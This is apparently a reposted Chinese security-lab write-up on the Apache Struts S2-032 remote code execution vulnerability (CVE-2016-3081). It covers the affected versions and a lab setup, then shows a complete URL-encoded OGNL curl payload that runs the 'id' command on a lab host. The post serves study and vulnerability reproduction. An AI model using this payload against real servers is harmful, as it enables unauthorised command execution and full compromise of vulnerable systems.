漏洞简介
S2-032漏洞是一种影响Apache Struts web应用程序框架的远程代码执行（RCE）漏洞。此漏洞允许攻击者通过发送特制的HTTP请求在服务器上执行任意代码。这可能被利用来获得对服务器的未经授权的访问，从而可能导致系统的完全破坏。
影响版本
2.3.20 <= Struts2 <= 2.3.28，其中2.3.20.3和2.3.24.3版本没有漏洞。
环境搭建
拉取镜像开启服务，访问http://your-ip:8080
漏洞复现
Struts2在开启了动态方法调用（动态方法调用）的情况下，可以使用method:<name>的方式来调用名字是<name>的方法，而这个方法名将会进行OGNL表达式计算，导致远程命令执行漏洞。
直接请求如下URL，即可执行id命令(进行URL编码)：
curl "http://192.168.137.145:8080/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id"
本文版权归作者和微信公众号平台共有，重在学习交流，不以任何盈利为目的，欢迎转载。
原文始发于微信公众号（巢安实验室）：S2-032远程代码执行漏洞（CVE-2016-3081）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论